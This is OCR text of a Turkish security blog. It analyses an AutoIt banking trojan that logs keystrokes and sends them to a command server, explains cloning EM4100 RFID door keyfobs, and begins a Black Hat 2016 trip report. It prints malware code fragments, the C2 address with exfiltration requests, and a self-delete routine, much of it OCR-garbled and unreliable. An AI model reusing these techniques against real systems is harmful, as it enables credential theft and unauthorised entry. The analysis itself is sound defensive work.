| Return FhedT75e34317
| Erd1t
L ErdPuns
Punc dySBE0FBSOIEL (FmaslBIZdIN058, FynSEISI0II0
61822474059 = Bimary SmadlB22434059
Fdel0d43x3079 crypt_decryptdata fm 2434059, FwaMSM30320. Foelg_ses_234

Fdel0é43x307H .llniﬂc“{lu Fdel0443R30TH
ConsoleMrite (Fdel0é43x3079 & #CALP)
Beturn $deZ0é43x5075

ErdPun:

[ #comments-stare
| Omanrarrrses ca 10003453700 LRI TARMCEC 42600 MCLIESANLININP I LI SLPIOFAISOTSSFAIC IO NN 1AMPED L10SRTODICE IS0 RIRRRITIP I8 8 ISP BRI0N ACT4rIONN 42600 IATIADSTT SI0AFEFIONOMIDALARMECTT 48004 6660TI0 JAREATIRLICTT ITSARTS0N 20082697 4C
#ccmment s-and

| Beommanta-atast
x4 808 TEPC0C 502 1T T4ASEE P 4AS0 166 BECH LIDT I TACE D0 IFDBPCE 1 1T ITREDOZ SEPSCO STR 182401271 FEAOCSIEBADFE A6 90T LORRDE I6C 9 I0IDLAPAIIFEE0PIICHEAR 64 200 7L LORE DODIICCTINEDT 4 LI SIP 48101 L PASMBOEFDIBITICE 45ACC 221 9TACI TICH 56 ABADATRER ACKT IS
#ccmment 8- end

] #commants-atart
OB S50 4R 470, 2 10000000 ey PT44SSN TSI IPEETATTEL TI6 00416 SEPEESI0AVEDE 16T ISL6 36 16 4T9TICHESICO0000 I2 6 DI4 38T 450 4DICIA6 IEFEDIRE 16 J6PE24 SN THED700000000000 ICIPTHTOE L4 IEBE 3T 4100
L #commenta-end
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Isasss.exe programi ¢aligtirildiktan sonra safe dosyasi iginde yer alan sifrelenmis verileri (1 adet EXE uzantili dosya (command line
winrar programi) ve 1 adet sifrelenmis (sifre: 6pRxSLyV4) RAR uzantili dosya) C:\Users\kullanict adi\AppData\Local\Temp\ klasorii
altinda rastgele olusturdugu sayilardan olusan isme sahip bir klasére agmakta ve bu klasorii gizlemekteydi. (hidden)

|

T
aaZT ¥R EI)
et

BinaryTerieing 1e37TRIM
. ayeasmsesadel *

srssamanien -
AT MI0IEL s | n
- O X [— Pl TFIFESTAFAF FAFY
[ . B2
in ea 795433 (3753}
Commands| Ints | Bettings|meip
* Do -
‘n-anm:
wres
[
P - m, s L atsesert "
s (o — {EE
o ey
[T PO a——— 13119109%311 Twsa LT us 34604
V—T 131 00109%813 TuBB AT LI 144044 T MRS o
. »
e ey
I -
S e
[ cememen. | .
»
C e J e J[ e ] L
[ Pune giBT402uT9156
qxTIIN4hIS52T ¢ NEEY_CURRENT _USER\Software\Microsoft \Windows\CurrentVersion\Run -> dpple Updater
pd1TI0ZmA4909 | ; Seript C:\Documents and Settings\ddministrator\dpplication Data\dpple Updater klasorunden mi galigeiralds hemtrolu.
te¥ILInEITEE ¢ C:\Pocuments and Settings\Administretor\dpplication Da -uppla_Up.n:o_z\uuu.ou var m1 kontrola
amlT955m52633
L EndFunc
Bl Punc am27955m92433
31087 406, GorS1087t264062, FobBE4ATARBL162, FuxdTA45487440, §gd32360q6544
Random 10000, 99999999995, 1
Fux1T443287440 Randem (10000, 99999999999, 1
FgdS2360qe544 Random (10000, 99999999999, 1
1838mil
4 i dy68609030361 ( “0xBATDTOZ0TFZOB0SOPFZIBAIBLACEELCCE ™. "12038)926045302155876" Fob8EATARBLLED
$Tempd klasorunde mumerik isimli klasor olugturupor,
PilefSetAter 0361 ("OxSPE481798720160011J0EDEDCIIIISIC®, “1200I8I92604502155876" 7 Olugturulan klssoru gorunme: papiyor.
Global §ewms dy€860 9550361 | “0x345AZ0ZFLIFL05D0AE0 LEDZ4THORAC =12038392 604502155876
Global §» qé544 dy68 609050061 ( "OxASOEFEFIEIDEA0CEPRSDTSPFDFLITRIFE". “12038192604502155876%
Fers1087 BinaryToftring ww39340i94029
$ge81838mill4 ¢ dysBE09BS01EL [ "OxEATHTIOZOTFIIBOSOFPIBAIBIACHEICCE", "120381926045021558746" SewSE720036869, $erS1087e26406) ; ltempd klassrunde numerik isimli exe olugturuyor, iperi)
] 2 ¢ BinaryTeString te)7798c89691
Filedrive (§gef1838m1134 & dyé0609b3006L [ "DxBATDTOZOTFZIBOSOFFZBAIBLACEEICCE™, “12038392604502155876" F2e70694bE38TY, FerSl0BTEIE4062
#leep €000
; Agafadaki setirds yuksridaki satirds Vtempd klesorund ugturulen gifreli RAR dosyass sgiliyor. Dosys igeriini comments-stert'tan aldi. (RAR §ifresi: EPRESEFVE
Run §gsBl838mlll4 dy68609b50361 ( "0x8ATDTOZOTFZFB0 S0P 4IBL4CBELCCE", "120383926043502155876° fewSBT720:76869 dy68609b50361 ( “0x8 6AATIZ6DCHFOSACEASOLBTFAGAFRBARE", “120J8352604502155876 §
8leep 1000
FileDelete (ige@lB36mllld ¢ dys84609b30061 ( “0xBATDTOZOTFZSB0SDFFIBAIBLACHELC =12038392604502133876 i 36869
PileDelete §gedlBlomille dy68 609030261 | “Dx@ATDTOZOTFZFBOSDFFIBAIBLACEE 6%, "11038392604502135876" T0654b658TS
#leep 2000
Local SwaS@311i18135520105vS15Tw8B182usS460247094n83067, [ JBLFETRTETY
Local fbx 9126006 filelisttoarray(fge@l8)8mlld4
For SwaS8311i18135520109v5157wEBLBZuss460 = 1 To

If stcingIndtr fbzd 7109 006 [ Fwe38311418133
It stringIndtr Sbzd 7309126006  fwasalll
FwaSBI11i18135520009vS15TwiE

{THIHIF

Qe - ©  F Osewen [ roiders [Tv S rokder Sync
Address | CADOCUME= 1\ADMBI~ 1\ OCALS~1{Temp)\ 204550136 v B

EndIf
Else
FgpelP1SbE0I62 Fbad 709126006 [ fwaS831141813542
EndIf
Mext
Run §geflElimlll4 dy&8609b50361 | "0xBATDTOZOTFZ SB0SDPFZYY
Slesp 500

WinRAR (evaluation copy)

10
Fle Commands Took Favortes Opfios

FARLIMNWO R JUY

PileDelete §go@lBlomilld dy68 609050361 ( "DxBATDTOZOTFZ 9
EndPunc

:
§
£
8

ExractTo Test Fnd
1118135201095 137w@8182us5460

= If StringSeripWs PileMesdLine
SAVI4654R2L406_nay = SAvZ4E54K

1 To _tileco
411773, SweSH13L
486_say ¢+ 1

W 910885077 rar - RAR archive, urpacked sie 2. 312 968
&

EndIt Mame Sge  Packed Type Modied CRC32

Next
Return $dvZ4654R21486_say H671155.583007 * LIBSEE  208.000 SBI007 Fe 20.04.2016 23:14 85801
L EndPunc 5 e 934400 429.744 Apphcaton 20042006 23:14 FEXFA..

[ Punc we393404i94029
246SARZLABG sy, FunSPEI6aé3I4, FymT0I4F2IETE4
486_say = 0

0349256784_pos = 1
For SwsS8l1l1il8135j20109vEL53TwEOl02ulS460 = 1 To _fileco
If StringfccipWs PileReadLine fzpd 441773, SwaS8311i19
CATEARARD ) ARE was [y sawe s 1

=168 NS (CR+LF)

Isasss.exe programi, Winrar programi ile sifrelenmis RAR dosyasini gizlenmis klasore agtiktan sonra, iginden ¢ikan svnhost.exe isimli
programi (Autolt programi) 871155.583007 (Autolt betigi) dosyasi ile calistirmakta ve 871155.583007 dosyasini silerek, sistem {izerinde
svnhost.exe ad1 altinda ¢aligmaktaydi.
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871155.583007 dosyasini incelendigimde ise sistemde agik olan pencerelerin baghk (title) bilgilerini izleyerek (Ornek kod: $basliklar[22]
="TurkishBank Internet Bankacili§1"), pencerede yer alacak bankanin gorsellerini komuta kontrol merkezinden alarak 30’a yakin
bankanin miisterisini ve internet subesini hedef aldigini gérdiim.

Far b=

dycasom.
s apsa

500G ver 101400 28 - Rumning nafe. sl

Y| of-i-

Hmsuneg|

T Sy
Py

=160 IS TR eLF)

s Result Protocol Host URL ~1 [ Composer | <y FidderSaipt | (1] Log | [] Fiters | = Timelne

z - ; @) statstes v, Inspectors # AutoResponder
74 5 [Headers | Textview | Syntaxview | WebForms | HexView

Auth | Cookies | Raw | JSON | xa

Request Headers [Raw] [Header Definibons]
GET /pops/09/img /background jpg HTTP/1.1
Client -

Accept: *f*

actept £ncodrg: gro, defate

Accept-Llanguage: tr-TR

User-Agent: Mozlia/4.0 (compatible; MSIE 7.0; Windows NT 6. 1; Tric
Miscellaneous

Referer: hitp://149. 202. 206. 57/main. phpud =645448C 470 F 7030
Transport

Connection: Keep-Alive
* 149,202, 206,57 jmain. phoud =645448C 470 2F 7030 1F 468F ABE JBCAFCBAweb_id = 8Kod =09 Host: 149.202.206.57 s
3 v.is <

14 7 Jpops Jery.J

Transformer = Headers  Te Syntaxview | ImageView
HexView | WebView | Auth Coolies | Raw
BON |
Fomat: JPEG A
139.373 bytes

670w x 3950
0,53 bytes/px
96 doi

P 55 200 HTP 149,202.206.57 _ fpops/03jmg/background. g

200 HTTP 149.202.206.57  [datasl.phphuid =645448C 470 2F 7030 LF 468F ABE 2BCAFCBATELEFON=(530) +290-15236F m‘i]
ipog APP1 Data
L9101 200 HTTP 149.202.206.57 /dataal.php?uid =645448C4702F 7030 IF 468F ABE 2BCAFCBBkod = 3143448 _= 1464613507 %-Izngﬂ]
200 HTTP 149.202.206.57 jdataal php?ud =645448C 470 2F 7030 |F 46BF ABE 2BCAFCBSkod =3 143448 _= 1464613507 vl i 1
< 3 lecomiap 10 v
Autoshank v

871155.583007 dosyasint incelendigimde ayrica bu zararli yazilimiin izledigi baglik bilgisini tespit ettigi anda tus bilgisi kayd1 yaptigini
ve bu bilgileri cert.dat dosyasina kayit ettigini, ekran goriintiisii aldigint ve bunlart da C:\Users\kullanict adi\AppData\Local\Temp\
klasérii altinda rastgele olusturdugu sayilardan olusan ada sahip klasorde sakladigimi gordiim. flgili pencere kapatildig1 anda ise ilgili
klasorde yer alan ekran goriintiilerini RAR isleminden gegirdikten sonra cert.rar adi altinda cert.dat (tus bilgileri iceren dosya) dosyasi
ile birlikte komuta kontrol merkezine (http://149.202.206.57) gondermekteydi.
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QQ [ » EUser » AppData » Local » Temp » 776469740

~ [ 43 || Search 776469740

Organize » | ] Open =

Share with +

E-mail Burn MNew folder

. Favorites
M Desktop
| & Downloads

a
=1 Recent Places

& Libraries
@ Documents

Js Music

[ Pictures

B Videos

& Homegroup

™ Com puter
S s

bottom_side

cert.dat left_side

===
wallpaper00011

:[ = [_ [_

wallpaper(0012 wallpaper00013

right_side

top_side

E cert.dat - Notepad

[ESRIER™5=)

E &8 cert - Copy.rar - RAR archive, unpacked size 1.053.282 bytes

File Edit Format View Help
kbr><br=<b>08:32:36 —>

<br><br=<br>=<b>08:41:36 —»

< Internet Bankaciligi - windows Internet Explorer</b=<br> .
{CLICK}<br>{CLICK}<br><br><br><b>08:32:40 -> Fiddler web Debugger{/’b:«.br} {cLIck}

JUmmnrrmk Internet Bankaciligi - wWindows Internet
Explorer</b><br> 342242425345{Tab}3134234234{CLICK}<br>

wallpaper00010

Name

o ..

&= wallpaper00010.jpg
& Wallpaper00011.jpg
» Wallpaper00012.jpg
= wallpaper00013.jpg
»= Wallpaper00014.jpg
= wallpaper00015.jpg
» wallpaper00016.jpg
= wallpaper00017.jpg

o

Size

106.802
136.953
138.322
136.456
124.163
146.919
125.371
138.296

Packed Type
File folder

73.109 JPEG image
89.021 JPEG image
93.712 JPEG image
94.868 JPEG image
84.669 JPEG image
94.909 JPEG image
86.047 JPEG image
92.723 JPEG image
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| Wireshark - Follow TCP Stream (tcp.stream eq 63) - mw1

- o IEM

POST /main.php?uid=645448C4702F703D1F46BFABE2BCAFCBEweb_id=EKod=Raction=upload&web_idg=089 HTTP/1.1 =

Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=----WinHttpBoundarylLine_34891.88992

Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=08.8,%/*%;9=08.5

Accept-Charset: utf-8;q=06.7
User-Agent: AutoIt/3.3
Content-Length: 35215
Host: 149.202.206.57

------ WinHttpBoundarylLine_34891.88992
Content-Disposition: form-data; name="file"; filename="cert.rar"”
Content-Type: applicationf/octet-stream

Rarl..... Sas
......... t@.7..8........0.....H.3.. ..wallpapereee10.jpg..g.0......U..].E...B....+DN4, .@5...-.:
9T.5N..... u.eE.9...
«.0[-.y-.0..U.UL.r..E]).)...B.81.81.1.1.75”X........ vOPQ.@.~ . O..v(...p.....
S T R ~D 3 e FFY ... dDDd. .t ... B[ PRO. . kW
awPwsien e
R R P B e, S AR br
cKs[cks{
P.Q.R.S.... | D I P e L e )
R g g e e e TKAME
..... P.}q-.t.DM.."X". .if....wv.(....I..4zesj.zKH...
...... WC. ..e...8(G...4..DgDt..5..F......5%. .)o.
S JOFw. .~.B.(.%.0.W...V.....
e AT e |, ool fimes e e e 3 b B | B 4.75 .@."§...7.7#0n6.0..y9. E.._7.cj..|.LX
Rocket 12702, 251 efent phtfs), 4 server pRt(s), 7 furns), Ohck to sedect.
Entire conversation (356 kB) Show data as | ASCIT Stream 63 ¥
Find: PR
Apolications [

871155.583007 dosyasinda yer alan fonksiyon (Ornek: Func yazkizim($krctr)) ve degisken (Ornek: $sayac) isimlerinin Tiirkge olmast,

bu zararl yazilimin Tiirkce bilen kisilerce gelistirildigi ihtimaline dikkat ¢cekiyordu.

Ayrica yine bu dosya iginde zararl yazilimin ¢aligtiktan sonra kendisini silecek fonksiyonlari barindirmasi ancak kullanmamasi ve
$cert_avi degiskenine sahip olmasi, zararli yazilimin ilerleyen siiriimlerinde bu 6zellikleri kullanma ihtimali oldugunu géstermekteydi.

Func _SelfDelete($iDelay = 0)
Local $sCmdFile
FileDelete(@TempDir & "scratch.bat")
$sCmdFile ='ping -n' & $iDelay & '127.0.0.1 > nul' &« @ CRLF _

& "loop' & @CRLF _

&'rd™ & @ScriptDir & " iqfs ' & @CRLF _

& 'if exist " & @ ScriptDir & ™' goto loop' & @CRLF _

& 'del’' & @TempDir & scratch.bat’
FileWrite{@TempDir & "\scratch.bat”, $sCmdFile)
Run(@TempDir & "\scratch.bat”, @TempDir, @SW_HIDE)

EndFunc

Func _cikis()
Sleep(500)

Sleep(1000)
_SelfDelete(10)

EndFunc

Global Sincrease_file : i Surum Yukseltme Dosyas

Global Sversion_file

= @AppDataDir & "\Apple_Updater\” & "safe"
= "wver.dat"

Global Scert_file “cert.dat"
Global Scert_rar “certrar”
Global Scert_avi = "cert.avi"
Global $wrar_file = "“wrar521.exe"

Global Swiile = "fwrari21.exe /5"

Run( $anadosya & " " & "safe", @AppDataDir & "\Apple_Updater\”, ®SW_HIDE)

: # Version Kontrol Dosyasi
;i certdat
(i certrar
;i certavi
:hwrar521.exe
il WwrarS2l.exe IS

Sonug olarak internet bankacilig1 miisterilerinin her daim bu ve benzeri zararli yazilimlara kars tetikte olmasi ve internet subelere giriste
ve/veya sonrasinda karsilastiklari olasi siipheli durumlarda mutlaka ama mutlaka bankalalarina haber vermeleri gerekmektedir. Zararli
yazilim analizi becerine sahip bankalar (ehem ehem :)) bu ve benzeri zararli yazilimlart analiz ederek sizlerin daha giivenli bankacilik

yapabilmeniz adina imkanlar1 dahilinde ellerinden gelenin en iyisini yapacaklardir.

Bu zararh yazilimin sisteminizde g¢alisip, ¢alismadigindan emin olmak i¢in ¢alisan programlarda (gérev yoneticisi) Isasss.exe ve/veya

svnhost.exe olup olmadigini kontrol edebilirsiniz.
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e
Windows Task Ma
i

File Options View Help File Options View Help

Applications | Processes |Services IPerformance INetworking I Users | | Applications | Processes |Servioes I Performance I Metworking I Users |

= =
Image Mame User Mame CPU  Memory (... Description Image Mame User Mame CPU  Memory (... Description

dsAccessServi... SYSTEM i} 2.328K  Juniper Access Service audiodg.exe LOCAL . oo 9.508 K Windows Audio Device Grap...
dwm.exe IEUser 0o 3.964K Desktop Window Manager ond.exe IEUser [ili} 560K Windows Command Processor
explorer.exe IEUser 0o 21.228K  Windows Explorer conhost.exe IEUser [ili} 872K Console Window Host
lsass.exe SYSTEM 0o 2,756 K  Local Security Authority Proc... CSrss,exe SYSTEM [ili} 1.100 K  Client Server Runtime Process
lsm.exe SYSTEM ag 1.244K  Local Session Manager Service CSMS8,2Xe SYSTEM oo 928 K Client Server Runtime Process
msdtc.exe METWO... 00 2.084K  Microsoft Distributed Transa. .. dihost.exe SYSTEM [ili} 2,580 K COM Surrogate

OSPPSVC.EXE METWO... 00 4,208K  Microsoft Office Software Pr... dsAccessServi.., SYSTEM [ili} 3. 708K  Juniper Access Service
Pulse.exe IEUser oo 1768 K  Junos Pulse User Interface i dsAccessServi,.. SYSTEM oo 2,328K  Juniper Access Service
SearchIndexe... SYSTEM 0o 9,228K  Microsoft Windows Search I... 1 dwm.exe IEUser i} 3.332K  Desktop Window Manager
services.exe SYSTEM o 3.564K Services and Controller app explarer.exe IEUser oo 22.096 K Windows Explorer

SMSS,EXE SYSTEM 0o 200K Windows Session Manager lsass.exe YSTEM [ili} 2,816 K Local Security Authority Proc...
spoolsy.exe SYSTEM 0o 4,012K  Spooler SubSystem App lsasss. exe 98 7.952K  Autoltwv3 Script
svchost.exe SYSTEM 0o 2,312K  Host Process for Windows 5... lsm.exe YSTEM [ili} 1.276 K Local Session Manager Service

svchost.exe METWO... 00 2.400K  Host Process for Windows 5... g medtc.exe MNETWO... 00 2.084K  Microsoft Distributed Transa. ..
sychost.exe LOCAL... 00 7.243K  Host Process for Windows S... ’ OSPPSVC.EXE MNETWO... 00 4.208K  Microsoft Office Software Pr...
sychost.exe SYSTEM 00 2.972K  Host Process for Windows S... Pulse.exe IEUser 00 1.768 K  Junos Pulse User Interface
svchost.exe LOCAL ... oo 6,532K Host Process for Windows 5... SearchIndexe... SYSTEM oo 9.244K  Microsoft Windows Search ...
svchost.exe SYSTEM 0o 14,896 K  Host Process for Windows 5... SErVices,exe SYSTEM [ili} 3.556 K Services and Controller app
svchost.exe MNETWO... 00 5.708K Host Process for Windows 5... sMss.exe SYSTEM oo 200K Windows Session Manager
svchost.exe LOCAL 0o 6.616K Host Process for Windows 5... 3 spoolsy.exe SYSTEM [ili} 4,024K  Spooler SubSystem App
sychost.exe LOCAL... 00 2.544K  Host Process for Windows 5... svchost.exe SYSTEM 00 2.312K  Host Process for Windows S...
sychost.exe SYSTEM 00 17.032K  Host Process for Windows5... svchost.exe METWO... 00 2.380K  Host Process for Windows S...
synhost.exe + 93 25.580K  Autolt v3 Script ‘ svchost.exe LOCAL ... 7.268 K HostProcess for Windows S...
System STEM 40K NT Kernel & System svchost.exe SYSTEM 2.972K  Host Process for Windows 5...
S\.astem IdeP... SYSTEM 24K Percentage of time the proc... svchost.exe Host Process for Windows ...

PR = - A e . P - w et deo o

[¥] show processes from all users Show processes from all users

CPU Usage: 100% Physical Memary: 50% Processes: 44 CPU Usage: 100% Physical Memory: 48%

Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler dilerim.

Notlar:

e Zararlt yazilimi temizlemek igin Start -> Run -> Msconfig yazdiktan sonra Startup sekmesinde, Apple Updater satirin1 bulup,
sildikten/devre dis1 biraktiktan sonra sisteminizi yeniden baslatabilirsiniz.

* 20'ye yakin bankanin yetkilileri ile bu bilgiler, siz bu yaziy1 okumadan giinler 6ncesinde paylagiimigtir.

* Buyaz, 6. Pi Hediyem Var oyununun ¢6ziim yolunu da igermektedir.

The post Autolt Bankacilik Zararli Yazilimi appeared first on Hack 4 Career - Siber Giivenlik Giinliigii.

RFID Kap: Kilidi

Source: https://www.mertsarica.com/rfid-kapi-kilidi/
By M.S on August 1st, 2016

Yakin bir arkadasimi ziyaret etmeye gittigimde, her zaman kap1 girisinde bulunan giivenlik goérevlisinin yaninda bu defa kapiya yeni
takilmis olan Access Control yazili, logosuz temazsiz kart okuyucu dikkatimi ¢ekti. (Bir mekana girdiginde gizli kameralari tespit etmeyi
huy edinmis birinin dikkatini ¢ekmesin de kimin ¢eksin zaten ? :))
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https://www.mertsarica.com/pi-hediyem-var-6/
https://www.mertsarica.com/autoit-bankacilik-zararli-yazilimi/
https://www.mertsarica.com
https://www.mertsarica.com/rfid-kapi-kilidi/
https://www.mertsarica.com/rfid-kapi-kilidi/

Arkadasimla konustugumda, bu okuyucunun site yonetimi tarafindan alinan bir karar iizerina kapiya monte edildigini ve tiim daire
sakinlerine kapiy1 agmak i¢in mavi renkte bir anahtarlik dagitildigin1 6grendim. Bu anahtarlik sayesinde kapiya geldiginizde giivenlik
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tarafindan sorguya tutulmuyor, anahtarlifi okutarak apartmana giris yapabiliyormussunuz. RFID anahtarlik oldugundan siiphem
olmayan bu anahtarligi cebime atip, lizerinde biraz ¢alisip merakimi gidermek igin evimin yolunu tuttum.

[lk olarak bu kart (anahtarlik) okuyucunun &zelliklerini bulmak igin ilan sitelerinde anahtar kelimelerle (rfid access control system, rfid
kap1 vb.) arastirmaya yapmaya basladim ve ¢cok gegmeden ilan sitelerinde ayn1 modele ait ilanlar buldum.

Y 8 Shop rfid access control 1, x '} m - o —
== C # www.aliexpress.com/w! ale?catld=0&initiative_id=S8_201601 1248 SearchText=rfid+access+contr ysten &2 # =
$USD - I Show Price Per Piece n S
x
Metal access controller
Free shipping+10 RFAD tag NEW Free shipping+10 RFID tag NEW 2016 newest metal case touch
RFID Proximity Door Access RFID Proximity Door Access keypad 125KHZ RFID access
US $12.99 US $12.00 US $25.99
Free Shipping Free Shipping Shipping: US $25.26 / piece via Aramex
& & & & BNE ders (2 & & & & SNE rders (46 rder
Recently Viewed @
F + viaxep - mcidyer x| N - - IEN
«=>2CH www.gittigidiyor.com/arama/ 2k =rfid + kay (] %=
. Rfid Kap) aramanizda 16 adet Or0n bulundu. (Favor aramalanma kaydet
Kategoriler
m&um Hemen All Acik Artirma Gorunom @@ = Sirala:  Akill Siralama v

Yap: Market & Tamirat
Yapi Malzemeleri, Nalburiye
Beyaz Esya & Klglk Ev Aletleri

Diger Her Sey

Secili Kriterlerde Ara

x riid kap >
Fiyat
>
Durum
Sifir (16 “1-3" Elektronik Rfid Karth Kap1 Ag... RFID SIFRELI KAPI KILIDI KARTLI GOS... RFID SIFRELI KAPI KILIDI GOSTERGEC...
10 anahtarik ve Kargo BEDAVA! 10 ADET MANYETIK ANAHTAR HEDIYEL UCRETSIZ KARGO-TURKCE KULLANM
Kargo Hemen AL! Hemen ALI Hemen AL!
¢ 177, TL 747 TL 159, TL
Ucretsiz (11) =
Diger (5 coK
BASARILI v v v
gy SATIC1
Filtreler
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LT T TR N - - .

L o [« ' | urun.gittigidiyor.com/diger-her-sey/rfid-sifreli-kapi-kilidi-kartli-gostergec-sistem-217649173 & ﬁ =

m RFID SiFRELI KAPI KiLiDi KARTLI GOSTERGEC 74.% TL

i\

ADET MANYETIK ANAHTAR HEDIYELI RETSIZ KARGO

SIFRELI & MANYETIK ELEKTRONIK KAPI GECIS & KONTROL SISTEMI

KAPI GEGIiS SISTEMI iCIN KULLANILAN :
BAGLANTI DETAYI
AYAR SISTEMINE GIRME SIFRESI
SIFRE DEGISImI
MANYETIK ANAHTAR TANITMA
KOLAY VE BASIT SEKILDE URUN ILE BIRLIKTE GONDERDIGIMIZ KLAVUZDA ANLATILMISTIR

HER TURLU TEKNIK DESTEK ICIN BiZIMLE MSJ YOLUYLA IRTIBATA GEGEBILIRSINIZ FAZLA OLARAK ISTEDIGINIZ HER BIR
MANYETIK ANAHTAR 1.10 TL DIR
OZELLIKLER:
YUKSEK KALITE VE YUKSEK GUVENLIK s
HIZLI VE HASSAS BIR TEPKI
250 STANDART KULLANICI DESTEKLER
DESTEK KARTI SIFRESI
KART NUMARASI EKLEYEBILIR VE ESKi KART NUMARASINI SILEBILIRSINIZ
EV VE OFIS iGIN TAM BiR TASARIM HARIKASIDIR
GALISMA GERILIMi: Dc 12v
MEVCUT KiLiDi: 7 1000MA
STATIK AKIM: ? 60MA
BELLEK: 250 STANDART KULLANICILAR

MADT AWIIMA MECACECi-n 40 A8l

|

Ilanlarin gogunda, bu iiriinlerle kullanilan anahtarliklarin kopyalanamaz oldugu ve kapi kilitlerinin de yiiksek giivenlige sahip oldugu
ifadeleri dikkatimi ¢ekti. Genelde sizma testi uzmanlari i¢in satis odakli kurulan iddiali ciimleler, glivenlik testi (saglama da diyebiliriz)
gerceklestirilene dek pek birsey ifade etmez ;) Ozellikle bu tiir kap1 kilitlerinde EM4100 protokoliinii kullanan RFID alici, verici ve
kartlar/etiketler kullanildigini bildigim icin ne kadar kolay bir sekilde kopyalanabilecegini pratikte tecriibe etmeye karar verdim.

EM4100 uyumlu kartlar/etiketler ¢ogunlukla okunabilir (read-only) olarak piyasada bulunurlar ve 40 bit olarak (1 bayt siiriim bilgisi +
4 bayt veri) bir defa programlandiktan (cogunlukla fabrika ¢ikisi) sonra degistirilemezler.

EM4100 uyumlu sadece okunabilir bir kart1 kopyalamak i¢in, T5577 gibi okuma ve yazma destegi de olan bir karti/etiketi, okuma yazma
destegi olan bir aygit sayesinde EM4100 olarak programlamak yeterlidir. Bu islemleri Arduino veya Raspberry Pi ile Parallax Read/
Write gibi bir aygitla gergeklestirmek pratikte pek kolay olmayabilir bu nedenle Phidgets'n 1024 0 aygit1 isleri kolaylastiracaktir.

T

Kopyalama iglemini gergeklestirmek igin Phidgets'in RFID uygulamasi ile 6ncelikle EM4100 uyumlu karti/etiketi USB aygita
okutuyorsunuz ardindan da T5577 anahtarligi aygita getirip Write butonuna basti§inizda anahtarlik kolay bir sekilde basariyla
kopyalanmig oluyor.
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http://www.priority1design.com.au/em4100_protocol.html
http://www.priority1design.com.au/em4100_protocol.html
http://www.priority1design.com.au/em4100_protocol.html
https://www.parallax.com/product/28440
https://www.parallax.com/product/28440
http://www.phidgets.com/products.php?product_id=1024

3. Click on the LED Enabled box to turn the on-board LED on or of =

4. The Output 0 box controls the +5V digital output and the Output

® Phidget Control Panel =g
9N
General  WebService | PhidgetSBC uch
Library Information
Phidget21 - Version 2.1.8 - Built Feb 22 2016 11:45:54 k th
Phidget21 NET - Version 2.1.8.243 Steg
Locally Atached Devices: (Double click to launch UI)
Device Sera Verson muy
L.
Fol
ea
ani

[v] Start Phidget Control Panel with \Windows?
| Enable Logging in Examples? \iew Logs

RFID-full
RFID Reader info
Atached True
Name Pridget RFID Read Wrie
Serial No.. 428
Version m
Outputs 2

[#] Antenna Enabled [ ] Output 0

[ Led Enabled ] Output 1
] Keyboard Output Enabled
Tag Read
Tag String
Protocol
Tag Wrie
Tag Sting d
Protocol EM4100
Lock

SUCIEER) HHU Header o

=

Attached True

Name Phidget RFID Read-Write
Serial No 9999999

Version 100

Outputs 2

¥ Antenna Enabled Output
Led Enabled Output 1
Keyboard Output Enabled

Tag Read
Tag String

Wit
= Tag Write

Tag String
Protocol

506

EM4100
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Son olarak kopyalanmig anahtarla kapiy1 agmayr deneyip basarili olduktan sonra, site yonetimleri ve daire sakinleri igin bu kilitle
kullanilan anahtarlarin kopyalanabilir oldugunu sdyleyerek bir giivenlik farkindaligi caligmasini daha bagariyla tamamlamis oluyoruz. :)

Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler dilerim.

The post RFID Kap1 Kilidi appeared first on Hack 4 Career - Siber Giivenlik Glinligi.

Black Hat USA 2016

Source: https://www.mertsarica.com/black-hat-usa-2016/
By M.S on August 8th, 2016

[lk defa gegtigimiz yil katilma firsatin1 yakaladigim diinyaca iinlii Black Hat giivenlik konferansina, NormShield firmasi sayesinde bu
sene tekrar katilacagimi biiyiik bir mutlulukla gectigimiz ay sizlerle paylasmistim. Konferans ve dncesinde aldigim kisa notlari, 12
saatlik doniis yolunda sizler i¢in derleyerek daha dnce oldugu gibi merak edenler i¢in yaziya dokmeye karar verdim.

Benden kimseye zarar gelmeyecegini ii¢iincii defada artik anlamis olsalar gerek ki, bu defa ABD'ye girisim Intel Security Focus Giivenlik
Konferansi baslikli blog yazimda yasadiklarimin aksine oldukga rahat oldu. 20 Temmuz itibariyle Los Angeles sehrinde baslayan ABD
tatilim, 30 Temmuz itibariyle yerini Las Vegas sehrinde ger¢eklesen Black Hat giivenlik etkinligine birakti. Takip edemeyenleriniz igin,
Black Hat USA 2016 giivenlik etkinligi, bu sene 30 Temmmuz - 4 Agustos tarihlerinde gergeklestirildi.

55


https://www.mertsarica.com/rfid-kapi-kilidi/
https://www.mertsarica.com
https://www.mertsarica.com/black-hat-usa-2016/
https://www.mertsarica.com/black-hat-usa-2016/
https://www.mertsarica.com/black-hat-macerasi/
http://www.blackhat.com/
http://www.normshield.com/
https://www.mertsarica.com/bekle-beni-blackhat/
https://www.mertsarica.com/intel-security-focus-guvenlik-konferansi/
https://www.mertsarica.com/intel-security-focus-guvenlik-konferansi/
https://www.blackhat.com/us-16/

/! “
b !
{

blackhat

’N ormShield

¥ext Generation Cyber Intelligenc

3 ve 4 Agustos tarihlerinde yapilan sunumlar 6ncesindeki 4 giinde, gectigimiz senelerde oldugu gibi birbirinden giizel 70'e yakin giivenlik
egitimi verildi. Ben de, degerli yoneticilerim ve isverenim IBTech sayesinde donanim giivenligi tizerine yogunlagan iki giinliik Hardware
Hacking With Hardsploit Framework egitimine katilabildim.

Gectigimiz aylarda isim geregi elektronik ATM kasa kilidi i¢in sizma testi gerceklestirmis bir giivenlik uzmani olarak, bu egitimin
benim i¢in oldukca verimli gegtigini ve ufkumu agtigint soyleyebilirim.

Opale Security firmasi tarafindan verilen bu egitime farkl iilkelerden (Tayvan, Kore, Brezilya, Fransa, Avusturalya), farkli profillerde
(yazilimel, sizma testi uzmani) katilan yaklasik 25 kisi vardi. Ozellikle Amerikan Hava Kuvvetleri'nden ii¢ kisinin katilmas1 ve bazi
katilimcilarin egitimin kendini tanitma kisminda diger katilimcilar ile sadece isimlerini paylagsmasi (Acaba neden? :)) da dikkatimden
kagmadi. Egitimin ilk giinii, Hardsploit aygiti ile SPI ve 12C belleklerden bilgi toplama (dump), SWD baglant1 noktasindan donanim
yazilimim (firmware) elde etme (dump) gibi uygulamalar gerceklestirildi. Egitimin ikinci giiniinde ise 6gleden 6nce GNU Radio ve
